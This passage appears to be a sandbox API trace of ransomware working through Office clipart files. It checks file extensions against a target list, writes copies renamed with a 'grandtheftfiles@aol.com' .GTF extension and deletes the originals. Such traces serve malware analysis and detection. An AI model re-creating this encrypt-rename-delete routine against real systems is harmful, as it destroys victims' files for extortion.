	[0184.596] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.596] lstrlenW (lpString=".xlsx") returned 5
	[0184.596] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0184.596] lstrlenW (lpString=".ppt") returned 4
	[0184.596] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68
	[0184.596] lstrlenW (lpString=".zip") returned 4
	[0184.596] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.596] lstrlenW (lpString=".rar") returned 4
	[0184.596] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.596] lstrlenW (lpString=".bz2") returned 4
	[0184.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.596] lstrlenW (lpString=".7z") returned 3
	[0184.597] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68
	[0184.597] lstrlenW (lpString=".dbf") returned 4
	[0184.597] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68
	[0184.597] lstrlenW (lpString=".1cd") returned 4
	[0184.597] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68
	[0184.597] lstrlenW (lpString=".jpg") returned 4
	[0184.597] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.597] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0184.597] lstrlenW (lpString="J0188511.WMF") returned 12
	[0184.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188511.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0184.598] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=10716) returned 1
	[0184.598] CloseHandle (hObject=0x2a4) returned 1
	[0184.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188511.wmf")) returned 0x220
	[0184.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188511.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0184.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188511.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0184.598] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.598] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188511.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0184.599] GetLastError () returned 0x0
	[0184.599] ReadFile (in: hFile=0x2a4, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x29dc, lpOverlapped=0x0) returned 1
	[0184.601] WriteFile (in: hFile=0x3fc, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x29e0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x29e0, lpOverlapped=0x0) returned 1
	[0184.602] ReadFile (in: hFile=0x2a4, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.602] WriteFile (in: hFile=0x3fc, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.602] SetEndOfFile (hFile=0x3fc) returned 1
	[0184.602] CloseHandle (hObject=0x3fc) returned 1
	[0184.602] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.602] SetEndOfFile (hFile=0x2a4) returned 1
	[0184.607] CloseHandle (hObject=0x2a4) returned 1
	[0184.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0184.607] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188511.wmf")) returned 1
	[0184.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF") returned 68
	[0184.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF") returned 68
	[0184.608] lstrlenW (lpString=".doc") returned 4
	[0184.608] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.608] lstrlenW (lpString=".docx") returned 5
	[0184.608] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0184.608] lstrlenW (lpString=".pdf") returned 4
	[0184.608] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.608] lstrlenW (lpString=".xls") returned 4
	[0184.608] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.608] lstrlenW (lpString=".xlsx") returned 5
	[0184.608] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0184.608] lstrlenW (lpString=".ppt") returned 4
	[0184.608] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF") returned 68
	[0184.608] lstrlenW (lpString=".zip") returned 4
	[0184.608] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.608] lstrlenW (lpString=".rar") returned 4
	[0184.608] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.608] lstrlenW (lpString=".bz2") returned 4
	[0184.608] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.608] lstrlenW (lpString=".7z") returned 3
	[0184.608] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF") returned 68
	[0184.608] lstrlenW (lpString=".dbf") returned 4
	[0184.608] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF") returned 68
	[0184.609] lstrlenW (lpString=".1cd") returned 4
	[0184.609] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF") returned 68
	[0184.609] lstrlenW (lpString=".jpg") returned 4
	[0184.710] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF") returned 68
	[0184.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF") returned 68
	[0184.715] lstrlenW (lpString=".doc") returned 4
	[0184.715] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.715] lstrlenW (lpString=".docx") returned 5
	[0184.726] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0184.726] lstrlenW (lpString=".pdf") returned 4
	[0184.726] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.726] lstrlenW (lpString=".xls") returned 4
	[0184.726] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.726] lstrlenW (lpString=".xlsx") returned 5
	[0184.727] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0184.727] lstrlenW (lpString=".ppt") returned 4
	[0184.727] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF") returned 68
	[0184.727] lstrlenW (lpString=".zip") returned 4
	[0184.727] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.727] lstrlenW (lpString=".rar") returned 4
	[0184.727] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.727] lstrlenW (lpString=".bz2") returned 4
	[0184.727] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.727] lstrlenW (lpString=".7z") returned 3
	[0184.727] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF") returned 68
	[0184.727] lstrlenW (lpString=".dbf") returned 4
	[0184.727] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF") returned 68
	[0184.727] lstrlenW (lpString=".1cd") returned 4
	[0184.727] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF") returned 68
	[0184.727] lstrlenW (lpString=".jpg") returned 4
	[0184.727] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.727] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0184.727] lstrlenW (lpString="J0188519.WMF") returned 12
	[0184.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188519.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0184.729] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=5824) returned 1
	[0184.729] CloseHandle (hObject=0x344) returned 1
	[0184.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188519.wmf")) returned 0x220
	[0184.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188519.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0184.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188519.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0184.729] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.729] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188519.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0184.730] GetLastError () returned 0x0
	[0184.730] ReadFile (in: hFile=0x344, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x16c0, lpOverlapped=0x0) returned 1
	[0184.732] WriteFile (in: hFile=0x34c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x16d0, lpOverlapped=0x0) returned 1
	[0184.733] ReadFile (in: hFile=0x344, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.733] WriteFile (in: hFile=0x34c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.733] SetEndOfFile (hFile=0x34c) returned 1
	[0184.733] CloseHandle (hObject=0x34c) returned 1
	[0184.733] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.733] SetEndOfFile (hFile=0x344) returned 1
	[0184.739] CloseHandle (hObject=0x344) returned 1
	[0184.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0184.739] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188519.wmf")) returned 1
	[0184.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68
	[0184.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68
	[0184.740] lstrlenW (lpString=".doc") returned 4
	[0184.740] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.740] lstrlenW (lpString=".docx") returned 5
	[0184.740] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0184.740] lstrlenW (lpString=".pdf") returned 4
	[0184.740] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.740] lstrlenW (lpString=".xls") returned 4
	[0184.740] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.740] lstrlenW (lpString=".xlsx") returned 5
	[0184.740] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0184.740] lstrlenW (lpString=".ppt") returned 4
	[0184.740] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68
	[0184.741] lstrlenW (lpString=".zip") returned 4
	[0184.741] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.741] lstrlenW (lpString=".rar") returned 4
	[0184.741] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.741] lstrlenW (lpString=".bz2") returned 4
	[0184.741] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.741] lstrlenW (lpString=".7z") returned 3
	[0184.741] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68
	[0184.741] lstrlenW (lpString=".dbf") returned 4
	[0184.741] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68
	[0184.741] lstrlenW (lpString=".1cd") returned 4
	[0184.741] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68
	[0184.741] lstrlenW (lpString=".jpg") returned 4
	[0184.741] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68
	[0184.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68
	[0184.741] lstrlenW (lpString=".doc") returned 4
	[0184.741] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.741] lstrlenW (lpString=".docx") returned 5
	[0184.741] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0184.741] lstrlenW (lpString=".pdf") returned 4
	[0184.741] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.741] lstrlenW (lpString=".xls") returned 4
	[0184.741] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.741] lstrlenW (lpString=".xlsx") returned 5
	[0184.741] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0184.741] lstrlenW (lpString=".ppt") returned 4
	[0184.741] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68
	[0184.741] lstrlenW (lpString=".zip") returned 4
	[0184.741] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.742] lstrlenW (lpString=".rar") returned 4
	[0184.742] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.742] lstrlenW (lpString=".bz2") returned 4
	[0184.742] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.742] lstrlenW (lpString=".7z") returned 3
	[0184.742] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68
	[0184.742] lstrlenW (lpString=".dbf") returned 4
	[0184.742] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68
	[0184.742] lstrlenW (lpString=".1cd") returned 4
	[0184.742] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68
	[0184.742] lstrlenW (lpString=".jpg") returned 4
	[0184.742] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.742] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0184.742] lstrlenW (lpString="J0188587.WMF") returned 12
	[0184.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188587.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0184.743] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=15196) returned 1
	[0184.743] CloseHandle (hObject=0x344) returned 1
	[0184.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188587.wmf")) returned 0x220
	[0184.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188587.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0184.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188587.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0184.743] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.743] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188587.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0184.744] GetLastError () returned 0x0
	[0184.744] ReadFile (in: hFile=0x344, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x3b5c, lpOverlapped=0x0) returned 1
	[0184.746] WriteFile (in: hFile=0x34c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x3b60, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x3b60, lpOverlapped=0x0) returned 1
	[0184.747] ReadFile (in: hFile=0x344, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.747] WriteFile (in: hFile=0x34c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.748] SetEndOfFile (hFile=0x34c) returned 1
	[0184.748] CloseHandle (hObject=0x34c) returned 1
	[0184.748] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.748] SetEndOfFile (hFile=0x344) returned 1
	[0184.750] CloseHandle (hObject=0x344) returned 1
	[0184.751] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0184.751] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188587.wmf")) returned 1
	[0184.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68
	[0184.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68
	[0184.752] lstrlenW (lpString=".doc") returned 4
	[0184.752] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.752] lstrlenW (lpString=".docx") returned 5
	[0184.752] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0184.752] lstrlenW (lpString=".pdf") returned 4
	[0184.752] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.752] lstrlenW (lpString=".xls") returned 4
	[0184.752] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.752] lstrlenW (lpString=".xlsx") returned 5
	[0184.752] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0184.752] lstrlenW (lpString=".ppt") returned 4
	[0184.752] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68
	[0184.752] lstrlenW (lpString=".zip") returned 4
	[0184.752] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.752] lstrlenW (lpString=".rar") returned 4
	[0184.752] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.752] lstrlenW (lpString=".bz2") returned 4
	[0184.752] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.752] lstrlenW (lpString=".7z") returned 3
	[0184.752] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68
	[0184.752] lstrlenW (lpString=".dbf") returned 4
	[0184.752] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68
	[0184.752] lstrlenW (lpString=".1cd") returned 4
	[0184.752] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68
	[0184.752] lstrlenW (lpString=".jpg") returned 4
	[0184.752] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68
	[0184.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68
	[0184.753] lstrlenW (lpString=".doc") returned 4
	[0184.753] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.753] lstrlenW (lpString=".docx") returned 5
	[0184.753] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0184.753] lstrlenW (lpString=".pdf") returned 4
	[0184.753] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.753] lstrlenW (lpString=".xls") returned 4
